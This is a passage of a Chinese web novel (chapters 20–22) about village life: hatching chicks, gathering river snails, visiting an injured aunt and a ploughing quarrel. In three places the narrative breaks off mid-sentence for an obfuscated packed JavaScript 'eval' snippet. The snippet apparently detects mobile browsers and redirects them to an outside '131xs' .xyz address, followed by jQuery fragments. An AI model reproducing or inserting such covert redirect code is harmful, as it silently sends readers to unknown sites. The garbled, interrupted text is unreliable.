更为悲催的是何家的小猪猡每日呼噜噜吃得欢实，一天比一天壮实。丛三老爷家猪圈的野菜也一日比一日堆的高，眼瞅着底下的菜就要发黄烂掉了，丛三老爷一叉子扬起掀去了池塘。 青叶翘起嘴巴不高兴，只得安慰自己喂鱼总比扔了的好，总算辛苦没有白费。 杏娘也安慰她：“明年一定捉头小猪，让你的猪草有用武之地。” 青叶：“……” 青叶不想搭理她娘。 就在青叶以为这样暗无天日的日子没有尽头时，似乎是一夜之间忽然从土里冒出来的紫云英遍布了整片田野。 这可是肥田的好物什，可不能胡乱撅了，女孩子们只得转移战场另寻猪草，青叶的打猪草生涯也就这样“被迫”划上了休止符。 她长长的呼出一口气，暗下决定日后再不做这种陪跑的买卖，简直就是没事找事，自讨苦吃。 这天傍晚将要吃晚饭，青叶嘴巴塞得鼓鼓囔囔手里端着一个盘子走到灶房。 “云伯娘说送给我们家吃的。” 杏娘定睛一瞧，盘里整整齐齐叠了三张豆皮，想来是才出锅，最顶上的那张还在微微颤动，离得近了能闻到一股豆类特有的焦香。 这东西好吃是好吃，就是做起来复杂。把浸泡了一夜的绿豆、黄豆和大米磨成米浆，大铁锅烧至通红时改小火，将米浆舀入锅内后迅速用蚌壳把锅心浆朝上向四周烫匀，形成圆形豆皮。 待锅边一圈皮微皱时用小铲铲松，双手把豆皮翻面，撒入几粒细盐，两面烙好即可叠好出锅。 这里还有个讲究就是要用早谷米磨浆，早谷米虽说干硬煮饭口感差，但是用来煮粥或做米浆却是再好不过。今年的早谷米还没下秧，应是用的去年的陈米。 费两天功夫才能吃上一口，难为云娘有那个耐性，也亏得现在还不是忙的时节。 庄户人家的铁锅都是又大又圆，既能炒菜又能煮饭，一整张豆皮能填饱小儿大半肚皮，三张正好够一家子香个嘴巴，软嫩爽口，刚好省下一碗米饭。 吃人嘴短，须得回送个物件才好，杏娘思索家里有什么拿得出手。 邻里之间就是这样，有来有往方能长久。况且她恰好有求于云娘，正是瞌睡遇上了枕头，来得早不如来得巧啊，此时不搭上话更待何时。 20. 第 20 章 春天新长出来的韭菜柔软纤细，叶子狭长鲜嫩，清理掉根部的烂叶和杂草，用来炒鸡蛋或腌制，香气扑鼻，都是极好的下饭菜。 趁着天色还未黑透，杏娘割了一把韭菜理好后去了间隔了一户的何家，从堂屋走到灶房，直到后院的猪圈才碰到云娘。 杏娘笑嘻嘻走上前，“云嫂子在忙呢，今儿偏了嫂子的好吃食，我来还礼了。” 云娘诧异回头，手里捏着舀猪食的瓢，脚边上放着空了的木桶，散发着一股带有青草的潲水味。 她了然地笑了，声音轻柔缓慢：“本就是我家的不是，三丫头也大了，我叫她跟着两个姐姐做点事，她倒好，还要攀扯上你家青叶。你家又没养猪，害得小丫头跟着受累，实在过意不去。” 顿了顿，云娘继续说道：“该赔礼道歉的是我们，怎么还能要你家的礼？” “她们小姐妹的交情是另一回事，我只知道收了礼就得还礼。”杏娘快言快语，递过手里的韭菜，隔着矮墙探头往猪圈看。 “再说了这也不是甚贵重物件，旧年的韭菜根长出来的，快的很，割一茬长一茬，胜在吃个新鲜。等今年割完，来年挖了老根换块地再种。” 三头小猪猡闹哄哄地挤在食槽里，轰隆隆乱成一团，猪鼻子整个埋在潲水里，颇吃出了一种你死我活的架势。 “云嫂子，你家的猪养得可真好啊！瞧这抢食的劲头，一看就是个蛮横的，好养活。”杏娘满眼羡慕，斩钉截铁地给出肯定赞扬。 看她坚持，云娘摇了摇头，接过韭菜放在一旁的矮墙上。 “能吃的很，一顿都不能少，动作稍微慢点它们恨不得把墙拱出一个洞，听见人回来更是不得了，蹦起来能有一尺高。”云娘好笑地说，举起瓢在一头抢得凶狠地小猪猡头上敲了几下，它整个身体都横在食槽里了，好好的野菜被踩得不成样子。 “虽说打猪草繁琐了些，好在孩子大了能帮上忙，就是清扫猪圈铲屎腌臜，却能积粪肥田，田里肥力足稻谷长得好，还能多收两筐稻谷。等到了年底，或卖了或留着自家吃，都是一笔不小的收益。” 见杏娘兴致勃勃逗猪抢食，嘴里呼噜噜出声，云娘给出善意地提议。 “嫂子说得对，往年粪肥不够还要花银子买，不值几个钱却不像样，到底叫人说嘴。我倒不是怕了她们，就是懒得跟她们歪缠，明年是该把猪养起来。”杏娘收敛笑容正了脸色，忽而又一笑，讨好地恳求，“养猪的事不急，眼下却是有件事要麻烦嫂子。” “有什么事你只管直说，我痴长了你几岁，不说多了多少见识，到底多吃了几年米，还是能帮上点忙。” 杏娘难得地多了几分羞赧，别扭地说道：“不怕嫂子笑话，你也知道的，自我嫁进丛家这么些年，好容易把田里的活计弄懂了两三成，旁的事还是一窍不通。就拿这孵小鸡来说，我虽知道是母鸡孵蛋孵化出来的，可到底怎么个弄法却是两眼一抹黑，还望嫂子教教我。” “我还道是什么为难事呢。”云娘莞尔一笑。 “天儿越发暖和了，正好我家的几只老母鸡这几天无精打采，下了蛋趴在窝里半天不动，整天炸着翅膀唧唧呜呜，估摸着也要抱窝了。你回去准备一只铺了稻草的大箩筐，今儿天色晚了，明天过来我手把手教你孵小鸡。” 偏头想了一下，她补充：“按理说我家孵出小鸡直接给你更省事，可你要年年都养的话还是自个摸清楚更好。再者你家里的手艺好，做只鸡笼不在话下，这个且不用着急，等小鸡出来还有段日子。” 杏娘大喜过望，连连道谢，两人又闲聊了几句方散了。 丛孝听说有木工活可做，眉开眼笑地保证一定做一只结实整齐的鸡笼，迫不及待地起身披衣裳就要去挑选木材，被杏娘一把拽住。 “看你猴急的那样，又不是明儿立等着就要用，慌得什么。”她没好气的嗔了他一眼，“旁人听到要干活，巴不得踮着脚尖走路，有多远躲多远。你可倒好，蒙头蒙脑撞上不去不说，还一副不值钱的样子，白吃了多少苦头。” 丛孝摸着脑袋嘿嘿笑，被媳妇数落心里也美滋滋的，就爱看她这副泼辣的小辣椒样。 灯下看美人越看越爱，手一伸揽了媳妇的腰身往床上倒，翻过身子低头堵住了红艳艳小嘴里的惊呼。 房里一时静谧，屋外黑暗笼罩，鸟虫低鸣。 …… “瞧见没，那几只蹲在鸡窝缩着脖子不动的母鸡，羽毛蓬松无光泽，选来抱窝是最好的，母性强，耐性好，容易孵出小鸡。”云娘点着自家鸡窝指给杏娘看，“今儿早上我收拢了近五、六天下的蛋，选种蛋要新鲜的，鸡蛋放置时间长了不容易孵出来。” 云娘提着一篮子鸡蛋在前，杏娘拿着一盏煤油灯在后，两人走到杂物间关门锁窗在墙角蹲下。 昏暗的房间内，云娘拿了一枚鸡蛋对着透亮的煤油灯，“对着光亮处看鸡蛋，里面有一个黑点的就是种蛋，没有的就不是，你能看到吗？” 杏娘睁大眼睛死死盯着眼前竖立的蛋，一片昏黄什么都没有。 她不死心，又往前凑了凑，“好像看到了一个锅盖样的东西？” “不是那个，不要看两头，往中间找找。” 杏娘眨巴眼睛往下瞟，眼睛都看出花来了，“这蛋壳上这么多的黑点我怎么知道是哪个，再说了，里面根本什么都看不清楚啊？” “你也看不到啊！”云娘遗憾地摇头，“当初我娘就是这么教我选种蛋的，奈何我脑子太笨始终学不会，还以为你比我聪明能找到呢。” 杏娘：“……” 敢情在这忽悠她玩儿呢！ “不过你也不用担心，这么多年我都没找到那个黑点不照样每年养一大群小鸡，耽误不了事。我家母鸡多，打鸣的公鸡也留了几只，不怕没种蛋。”云娘安慰一脸无语的杏娘，轻拍了几下她的手臂，以示安心。 两人走出杂物间来到鸡棚。 云娘在铺了稻草的箩筐底平整码好十五枚鸡蛋，捉了趴在鸡窝上的一只矮胖健壮的黄色母鸡放入箩筐。 母鸡猛然被提起，咯咯叫地挣扎翅膀，声音粗噶低沉，不似平常那样清亮。被放进箩筐里时还在扑腾不休，脚底下踩到圆滑的蛋迟疑了一瞬，叫声小了下去。 只见它轻轻站稳转动了一圈，身体缓缓蹲下，抖动翅膀使劲铺展开，再慢慢收拢盖在蛋上。等到调整好身体，它转动小脑袋环顾四周，喉咙里发出浑浊的咕噜声，用嘴轻轻地将露在身外的鸡蛋往自己的腹翅下揽，使之完全覆于自己的羽翼之下，接着便彻底安静下来。 这一连串的动作看得杏娘津津有味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457579|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，云娘示意她往外走。 “今天先放在我这，等晚上我给你送回去，免得惊扰了它。”云娘细细嘱咐道。 “到时你准备一碟米，一碗水放在边上，它饿了自会跑出去吃喝。抱窝的母鸡不能受惊，没事不要总去看，隔几天添一次米水就行了。平常还怕养不□□鸡会跑，这时候却不会，等小鸡出来也熟悉了环境，能带着鸡娃找食吃。” 杏娘只管点头答应，头点得跟鸡啄米似得，惹得云娘轻笑不已。 “亲兄弟明算账，咱们按照市价来，晚上来我家把母鸡和鸡蛋的银子给你。”杏娘转过身子正色说道。 “哪至于此，邻里之间不必如此较真。”云娘牵了她的手往堂屋走，声音轻柔。 “不过你的脾性我也算粗略知晓，是个是非分明的性子，往后我们要多多来往才好。我是个不爱走动的，你有什么事就来找我，但凡我能帮上忙，定不会推脱。就是无事，咱们也可以坐一起做针线活，闲聊逗闷子。” 杏娘点头应是，答应日后经常来串门，只要她不嫌弃。 两人有来有往的说家常，不时传来一两声轻笑。 …… 杂物房的丛孝忙得热火朝天，头发、衣裳上落满了木屑，连眉毛上都挂了两条卷曲的碎片，生生把自个整成了白头翁的形象。忙起来也顾不上擦，聚精会神地锯刨、打磨。 菜园的辣椒、茄子、黄瓜等的种子已出苗长到了移栽的高度，趁着早上土壤湿润，杏娘挖了幼苗一颗颗种到刨得松软的田垄上。 四四方方的菜园开辟的井井有条，一条条笔直的沟壑把整片园子分割成不同的种植区。娇弱的幼苗如同排兵布阵的将士，整整齐齐列队，步兵、骑兵泾渭分明，所属阵营井水不犯河水，互不干涉。 一阵脚步声传来，杏娘抬头擦一把汗，大早上就跑得不见人影的青叶从池塘边跑来。 “娘，你看，我摘的花！” 从远处看，点点粉红夹杂在绿色茎叶当中，离得近了才发现是竹子上“开满”了荆棘花。 这也算得上本地女童的另类花艺了。紫红色的刺苔变老后就不能吃了，娇嫩的花骨朵却在枝头悄然绽放。雪白的、粉红的花瓣成片簇拥着，在稍显凉意的冷风中摇曳舒展，从容淡定，清雅的香味扑面而来。 也不知道是跟谁学的，女孩们无师自通地创造出一种新花样。 玉陵县内无高山丘陵，小坟包都算显眼的了，长出的竹子也是矮小清瘦的。做女孩时跟着哥哥们念书识字，书里写竹子的修长挺拔、亭亭玉立，杏娘还奇怪这些矮墩墩，枝条纤细繁多，长得杂乱无章的竹子怎么就能代表诗人的高洁、坚韧呢？ 掰断一根连着四、五条分支的竹条，抽掉竹心，将摘取的荆棘花插入竹心抽出的地方，一根竹条能插十几朵。 柔软的枝条，嫩绿修长的叶子，粉白的花朵，在女孩们手中调制成异样的风采。 看着女儿手中一大捧花束，杏娘想起儿时悠闲、欢快的玩乐时光，一阵恍惚。那样的日子是如此的久远，远得好像是上辈子发生的事，又是那样的近，近得如同昨天才刚做过。 女孩笑弯的眉眼映入眼帘，杏娘发自内心的笑了，好在一切都是值得的，她失去了很多也得到了很多，新的生命在冉冉升起，生机勃勃。 21. 第 21 章 河对岸、家门口的河坡、后院的菜园都种满了各色瓜菜，还剩了不少幼苗，杏娘打算明天早起给丽姑妈送去。菜苗种的密了，长得矮小瘦弱不说，挂果时互相打架，结的果也是又少又小，还不如多留一点空隙长得更健壮。 自过完年，除开回娘家吃酒席，自家还没正经买过肉开荤，小鲫鱼虽说便宜易得，香辣下饭，天天吃也有些腻了，杏娘打算弄点新鲜吃食。 俗话说“清明螺，肥似鹅”，吃不起鹅，田螺还是能吃上的，就是要花费一番功夫，这对现在还算空闲的杏娘来说根本不叫事。 避开晌午稍微炽热的太阳，下半晌时杏娘揣了敞口竹编簸箕提上水桶往河对岸走去。过了石桥是一条宽敞的土路，农忙时用牛赶着堆满稻谷的板车走过，旁边还能跟一个肩膀上挑两捆稻谷的男人。 路旁边就是一条水沟，连着家门口的河水，农田用水就从这条水沟流过，雨水多时放水，旱时取水。 来到水沟旁，杏娘弯下身子卷起裤腿，沿着坡下到水里，握了簸箕两边铲浅水处的泥巴。簸箕装得半满端出水面，转过身子朝深水处淘洗掉烂泥，最后框底剩了一层浅浅的田螺和树枝等杂物。 挑拣出中等偏小的螺蛳扔进桶，余下的抖落沟里。吃螺蛳最妙的就是那个啜的过程，太大了不易入味，咸香鲜辣总感觉少了那么一点，吃的不痛快；太小了不容易啜出螺肉，忙活半天，吸一嘴辣汤，越吸越上火。 只有中等偏小个头的螺蛳吃起来口感最佳，也最易炒制。 杏娘沿着沟边摸索着往前走，遇到水草多或者水流瘀滞转弯的地方停留时间稍长，这种地方最易堆积螺蛳，一掏一个准。 一条水沟摸完到转弯的地方，杏娘直起腰嘘一口气，站着缓了一会儿，水桶装了大半，够吃两顿了。 她淘洗干净簸箕，坐在草坡上清洗腿脚晾得半干，穿上鞋袜提桶往家走。 路过丛五老爷家门口，被五奶奶喊住：“杏娘，早上看你在栽菜苗，你今年有没有多的南瓜苗？” “有的。” “匀我两根吧，”郑氏坐在小板凳上削萝卜皮，满口抱怨，“今年也不知道走了什么霉运，撒了一把种子下去，半根南瓜苗都没冒出来，白浪费了那些种子。你五叔就好这一口，天热了吃不到得埋怨死我。” “没问题。”杏娘脆声应道，放下水桶歇一口气，“今年的菜苗长得好，明儿早上挖了给您送来，您还要不要别的？园子里剩了不少。” 郑氏摆手，“不要了，要多了也没地栽，就差了南瓜苗。” 听到声音的丛孝走出家门，提起地上的水桶往家走。 “您先忙着，我回家做晚饭了。”杏娘与郑氏道别，跟上丈夫的脚步。 进了院子把螺蛳倒进干净的木盆，再从井里提一桶水倒进去，丛孝手上忙碌着，嘴里也不忘说一顿：“怎么出去摸螺蛳也不叫我？我就在杂物房，一嗓子的事。” 杏娘满不在乎，扯了绳上晾晒的布巾擦脸，“多大点事，我一个人就能应付，又不费事。” “就中午一个时辰有点热，早晚还是寒凉，水里湿气重，冻坏了腿脚不值当，妇道人家马虎不得。” 杏娘求饶：“好了，好了，下次一定喊你。” 丛孝转过身子不说话，满脸严肃，双眼直直盯着媳妇。 “真的，我发誓可以吧！”杏娘抬起手敷衍一下，把布巾搭上晾衣绳，快步进了灶房，“不跟你扯了，肚子快饿瘪了，我去炒菜。” 丛孝弯起嘴角无奈地摇头，这个媳妇什么都好，就是玩性重，成婚这么多年，还是个孩子脾气。自个也不能时时在家看着她，行事越发的由着性子了。 他拿过小板凳坐下搓洗螺蛳，用刷子刷螺壳表面深绿色的茸毛。 …… 送了郑氏五根南瓜苗，杏娘把园子里剩下的各色菜苗都挖了，连着根系周围的土一起小心放进篮子往垄西头丽姑妈家走去。 丛丽正在房里做针线，听见声音忙招呼杏娘进去，“快坐下，我腿脚不便就不去迎你了。” “您说的哪里话。”杏娘放下篮子，就近坐在丛丽身旁的椅子上，“您的脚怎么样了？可好些了？这段日子一直瞎忙，也没来看您。” 丛丽咬断线头，收拾好针线放进笸箩，闻言摸着左脚踝苦笑。 “人老了不中用，这只脚崴了快三个月才能勉强下地，走路时间长了就一阵一阵的疼。什么活都做不了，心里干着急。多亏了你送来的药膏，要不然还有得磨，替我谢谢你爹，等什么时候碰到他老人家了，我当面好好道谢。” 她垂下眼帘，语气里满是失落，“人生了病就是个累赘，谁还当你是个人呢，各家都是一摊子事，忙得很，你能来看我，是你有心了。” “您啊，就是爱多想。”杏娘安抚地拍拍她的手，与丛丽的萎靡不同，她的声音充满活力，让人听了心里就欢喜，“伤筋动骨一百天可不是说着玩的，您就是心里急得跟热油锅着了火似得也没用啊，那骨头缝是一天长一丁点，长满一百天。” 像是想起了什么，她乐不可支，“至于我爹，他老人家日子过得才叫舒坦呢，要我说您就该跟他学，我爹常说的一句话就是，我跟你娘吃饱，全家不饿。” 越想越好笑，别人还没如何，她自个倒乐呵地前仰后合了，就这豁达的性子，说她不是李老爷子的亲闺女都没人信。 被她这么一闹腾，丛丽的心情不自觉明朗起来，嘴角含着轻松的笑意，“李老爷子是神仙转世，积够了福报还要回去当神仙的，咱们都是沾了他老人家的光。” 杏娘摆手，指着地上的篮子，“今年瓜菜出苗好，菜园多了一些苗子，我想着您腿脚不便就提过来了，看看能不能用上。” 丛丽又是一通道谢：“劳烦你了，用得着，用得着，我这正着急呢，你张姐夫就不是个干细致活计的性子，撒下去的种子出的苗稀稀拉拉。一场雨下来死了一大半，愁得我嘴角都要冒泡了，春天不种菜，今年的菜可怎么够吃。” 她皱着眉头数落完，想起自家男人做的事，果断下定决心，“这回可不能让他再糟蹋了，还是让小玉栽吧。” “哈哈！”被她嫌弃的样子逗乐，杏娘又笑得合不拢嘴，“张姐夫那么好的人听到您这么说他，可要伤心了。” 等缓了一会笑意，杏娘轻声劝解丛丽：“小玉是个好孩子，您也别太过苛待她，她一个小小孩童快比我都忙了，别累坏了身子。” “哎！这也是没办法的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457580|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”丛丽长叹一口气，整个人透出一股沁入心底的哀伤，“这都是她的命，谁叫她命不好自小就没了爹娘，现在把能吃的苦都吃了，总好过吃一辈子的苦。” 丛丽夫妇育有三子四女，大儿媳妇在生第二胎时难产而亡，灾难并没有对这个小家庭表现出丝毫的同情，次年冬天大儿子染了风寒。本以为吃几剂汤药就没事了，不成想竟然越来越严重，渐渐的下不来床，饭也吃得少了。 没等天气变暖和，好好的一个大高个就这么闭上了眼睛，丢下一个不满三岁的小女娃。 彼时几个孩子娶的娶嫁的嫁，儿子们成婚后也已分家，丛丽夫妻跟着小儿子家一起住。庄户人家出身的都有一种宿命，即便老到腰比沉甸甸的稻穗还要弯了，只要还有力气握镰刀，也是要去田里忙碌的。 有福气的人是直到躺在棺材的前一刻，吃的都是自个亲手种出来的粮食，不需要别人的施舍。 丛丽尚且要在小儿媳手底下讨生活，家里家外的帮衬着不停手，何况一个隔了房的小女孩。小小的一点儿，人还没灶台高呢就学会了烧火做饭，踩着凳子擦洗大铁锅，踮着脚尖胳膊伸出老远。 等大了些，洗衣裳打猪草带孩子更是不在话下，成日穿着洗的发白的宽松旧衣，外人只看见她永远低着头忙碌的小身影，几乎不怎么跟人说话。 房里一时寂静无声，逝去之人留下的伤痛如同一道陈年伤疤。经过岁月的流逝，伤口表面已经结痂完好如初，可内里仍在流脓腐烂，痛入骨髓。 “您要放宽心。”杏娘打破沉默，嗓音越发柔和，“菊花娘不是个心狠之人，纵使不是自个亲生的，到底是看着长大的孩子，不会慢待了小玉。” “她很好，我不怪她，我谁都不怪，五个手指头尚且有长短，何况是隔了房头的，我只是……只是心疼我的玉儿，她打小没了爹娘名声不好，再不挣出个能干的名头，往后可怎么找到好人家。” 丛丽声音暗哑，渐渐带了丝哽咽，泪水从眼角滑落。 她哭泣了两声，竭力压抑住喉咙口的酸涩，汹涌辛辣的气息憋得胸口闷疼，她缓缓吐出一口气，止住了翻江倒海的哀伤。 “现在我只奢望能活到她出嫁，找一个可靠的人家，将来到了地底下，我跟老大夫妇也有个交代，别的……还有什么好计较的。” 杏娘无言的拍抚她的脊背，家家有本难念的经，有的经上布满欢乐，有的经上写满苦难，“您更要保重好身体，小玉出嫁还要您穿衣梳头呢！” “是啊！我可得好好活着，活成个老厌恶，活到阎王爷都拿我没办法。” 晚饭时丛孝问起丽姑妈的脚，杏娘说好了□□成，还需要好好养着，走路不能太快不能太久。 “啧啧！”陈氏满脸艳羡，夹一筷子青菜，“她这个脚修养的可够长的，一躺就是几个月，什么活都不用干，真是享福。” 丛孝无动于衷，眼皮子都懒得撩起，杏娘无声地扒饭，仿佛没有听到。 唯有丛三老爷不满地轻斥：“说的什么怪话，谁家生病是享福，你去享一个试试看。” 陈氏翻他一个白眼，嘴里嘟囔几声不满，当着全家人的面还是给老头留了颜面没有呛声。 桌上只剩碗筷碰撞的声音。 22. 第 22 章 淡紫红色的紫云英布满绿色的田野，在湿润的微风中开的热烈张扬，肆意霸道，即便是最隐秘的角落也要占有一席之地，显示它的存在。 不过这样一副美得像一幅画的景色在农人眼里已是司空见惯，什么诗意啊意境啊，那是完全毫无所觉的存在。又不当柴又不当米的，有什么用，最多发自肺腑的感叹一句：今年的绿肥长得可真好，秋下能有个好收成了，可喜可贺。 殊不知，这已是对它最美的赞扬。 有那勤劳的农户急不可待地赶了水牛架上犁开始春耕，虽然还不到扯秧的时候，先把田犁出来有什么关系，再等下去地里也长不出金子。 丛三老爷就是一个这样的老农人，在他看来干巴巴的数着日子等秧苗长高再耕田，简直是不可理喻。明明事情放在那里没做，非要等到火烧眉毛了才着急忙慌地吆五喝六，典型的懒驴蛋子。 他不允许家里有这样的懒蛋存在，所以丛孝也被迫成了“恨活计”的汉子。 经验老到的农户能一手牵牛绳，一手扶着犁的把手，有条不紊地控制水牛的前进方向，同时掌握犁的耕种深度。犁头所到之处的土块像大片的海浪，一块一块的翻转过来，排成一条整齐的直线。 丛孝不在这个老手的范畴内，他还没练到能一人耕种的熟练程度，丛三老爷经验是足够了，却是年老力衰，心有余而力不足。 于是两人通力合作，老爹牵牛绳，儿子扶把手，配合默契。 水牛性格温顺，一步一个脚印，庞大的身躯架着犁头恭顺地往前走，鼻子往外喷出白气。丛三老爷手里的鞭子毫无用武之地，牵着牛绳的手都怕太紧勒了它的脖子。 成群的白色鸟儿随着翻转的土块上下起伏，土壤深处肥胖扭曲的白色虫卵是它们可望而不可及的美梦。每年的这个时候就是它们大饱口福的盛宴，飞跃的身影如同在弹奏一首古老的乐曲。 丛三老爷家父子心有灵犀一点通，越耕越顺畅，隔壁田的朱老二家是战火纷飞，火星四溅。 朱老爷子的咆哮声不说方圆十里了，至少河对岸这一大片农田里的人都听得清楚明白。 “你是早饭没吃还是怎地，看你那个衰样，你是在给地挠痒痒么，田里的皮都没破一层。用力按着犁头往下使劲，使劲，饭都喂到狗肚子里了是吧？” 朱青山头上青筋直跳，双手用力往下压，肚子都快顶到把手上了。 丛孝咬着嘴唇憋笑，朱老爷子可真是中气十足，老当益壮，看来再活个十来年一点问题都没有。 过了还没一刻钟，朱老爷子愤怒的吼叫再次冲破云霄，惊得争抢肥虫的鸟儿们险一趔趄，呼啦啦挥舞着翅膀飞走了。 “我是让你使劲，没让你刨坑啊，杵这么深，你是在给老子挖坟么？老子还没老到那个地步，用不着你挖坟。” “噗嗤”一声，丛孝实在没忍住喷笑出来，不是他不厚道，实在是朱老爷子说话太逗了。 这一笑就泄了气，犁头松了劲，两人一牛停了下来。 朱青山满腹委屈，白胖的脸涨得通红，壮实的身板只穿了一件单衣，累得两鬓冒汗，胸口后背的衣裳湿了一大片。 他亦是又气又累，冲着老爹叫屈：“先前您说我白吃了干饭，我使劲您又说我太用力了，到底要怎么样嘛？您老人家可太难伺候了。” 朱老爷子气急败坏，抖着手指儿子：“你这个不孝子，还敢跟老子顶嘴，老子抽不死你。” 说着举起赶牛的鞭子就朝二儿子打去，边打边骂，老黄牛也顾不上了，顿时两父子闹得不可开交，热气腾腾的。 丛三老爷看傻了眼，眼瞅着两人在田里转起了圈圈，忙扔了牵牛的绳子快走几步过去拉架。丛孝怕自家老子出事，也丢了犁跟上去。 两家的田本就隔的不远，丛三老爷冲上去架了朱老爷子的胳膊，连声开解：“老哥哥，别打了，别打了，听我的，消消气。” 拉扯着他往旁边的田埂上走去，“年轻人不懂，咱就慢慢教嘛，时辰还早着呢，误不了农时，别着急上火的气坏了自个。” 朱老爷子仍是气得呼呼喘气，嘴里骂骂咧咧：“小兔崽子翅膀硬了，敢跟老子呛声，今天不好好教训一顿，他眼里还有谁？” 这一出闹剧让附近几块田地的看客都停了手，三三两两走过来劝架顺便歇脚。有那瘦骨嶙峋，胡子花白的老庄稼把式操着干瘪的声音开导：“朱老弟，谁年轻时不是这么过来的，不值当发这么大火。” “是啊！我家小子那会儿耕田，一年坏一架犁，一年坏一架犁，也不知道是牛在拉还是他在拉，气得我恨不得把犁架他脖子上算了，现在不也干得好好的。我要像你这么发火，早给气死了。” “气死了拉倒。”朱老爷子喘息逐渐平缓，虽然仍旧板着一张老脸，却不再痛骂儿子，“早死早超生，死了倒享福了。” “说的什么胡话，孩子们还担不起事，我们这些老家伙且还得用呢！” “谁说不是……嘿，我跟你们说，我家小孙孙昨儿……” 人一多话题就偏了方向，七嘴八舌东扯西拉说得起劲，早忘了刚才闹腾的那出。 朱青山弯着腰，双手撑在膝盖上仍在喘气，望着说得喜笑颜开的老爹苦笑，丛孝同情地拍了拍他的肩膀。 …… 朱家老二被老子骂得不痛快，朱家小儿媳妇英娘更加不痛快。 螺蛳用清水养了三天，每日早晚换一次水，临近晌午捞起一盆剪掉尾巴上的小尖角，另倒进清水盆撒一把盐倒一勺醋使劲揉搓。 晌午饭就是用加了葱姜蒜辣酱等各色调料，用大火爆炒的一盆螺蛳。 水乡人是吃螺蛳的高手，螺蛳入口轻轻一嘬，辣汤伴着螺肉应声而入，辣的人一激灵，舌尖发麻，猛扒一口饭缓解辣味，越嚼越香。平日吃两碗就饱了的人，这时候也没忍住又添了一碗。 就连最小的青果面前都摆放着一只装了白开水的碗，胖乎乎短短的手指头捏着竹签挑出螺肉。过碗里唰一道再放入嘴巴，肉嘟嘟的两个腮帮子吃得鼓鼓的，油汪汪的小嘴巴一嚼一翘。 青叶含着一颗螺蛳吸尽了汁水，两指捏着外壳嘴巴对准螺口使劲一吸，“噗”一声，螺肉飞入口中顺着喉咙滑了进去。 “咳咳咳！”呛地她喉咙似着了火，眼睛辣得通红，嘶哑地喊娘，“辣，水。” 丛孝忙倒了茶水给大女儿灌进去，杏娘心疼地拍着她的后背，“别急，慢点喝，使那么大劲干什么，呛了喉咙可不是好玩的。” 足喝了一碗水才止住了那股仿佛要在喉咙口炸开的辣意，青叶心有余悸地喘口气，一时对吸螺蛳有了怯意，只敢夹别的菜。 满桌人都吃地津津有味，香辣的气味直冲脑门，忍了没一会，青叶禁不住又夹了一颗螺蛳，这回小心谨慎了许多，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457581|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢放轻了力道吮吸。 一顿饭吃得大伙胃口大开，心满意足，满身的疲劳一扫而空，浑身上下又充满了干劲。 饭后陈氏收拾碗筷，杏娘端着剩下的一盘螺蛳往西去了英娘家。 这家伙也不知道在忙什么，几天没见着人影，往常家里做了好菜还不等端上桌，她就跟闻着腥味的猫似的端了饭碗过来。今天晌午饭都吃完了也没看到她的身影，害得她吃饭都分了一只眼睛盯着灶房门口，打算招呼她好好吃一顿，结果竟等了空。 没等她想明白就到了朱老四家，两家就隔了一户丛五老爷家，几步路的事。 “英娘！英娘！”杏娘走进堂屋喊了几声，没人应答，她转身走向东间推开半掩的房门，床上躺着一个人影，不是英娘是哪个。 “喊你怎么不应声呢，你看看我给你带什么来了？” 后背朝外的英娘还是没有吭声，头一动不动面向里侧。杏娘疑惑地推了她一把，“你怎么了？是不是生病了？可要去看大夫？” “噌”的一下英娘翻身坐起，吓了杏娘一大跳，她大声说道：“别说生病了，就是死了有什么打紧，又没人关心我。” “我怎么不关心你了。”杏娘举起手中的盘子，“你看我晌午炒的螺蛳，特意多做了一盘给你留着，结果你没去，一放下碗筷我就给你端来了，这还不够关心啊。” 英娘委屈地侧过身子，头偏向一边，“你少来哄我，你不是跟那谁打的火热，哪还记得我这么个人？” “跟谁？”杏娘一头雾水地反问，随即恍然大悟，“你说云嫂子啊，我那是有正事求她，你又不是不知道，我跟她之前就没说过几句话。” “有什么事是她会做我不会的？” “你会孵小鸡？” “……”英娘哑巴了，别说孵小鸡了，她也就能分清公鸡和母鸡，但这并不妨碍她家里有吃不完的鸡蛋。 这就要说到朱老爷子两夫妇了，两人生了四个儿子，一朵金花也没有。 等到四个儿子都成了家，除了最小的朱青水只有一个儿子外，上面的三个大的又各生了两个儿子。每到吃饭的时候，十好几个男丁往那一坐，加上媳妇、老娘，好家伙！两张桌子勉强排的下。 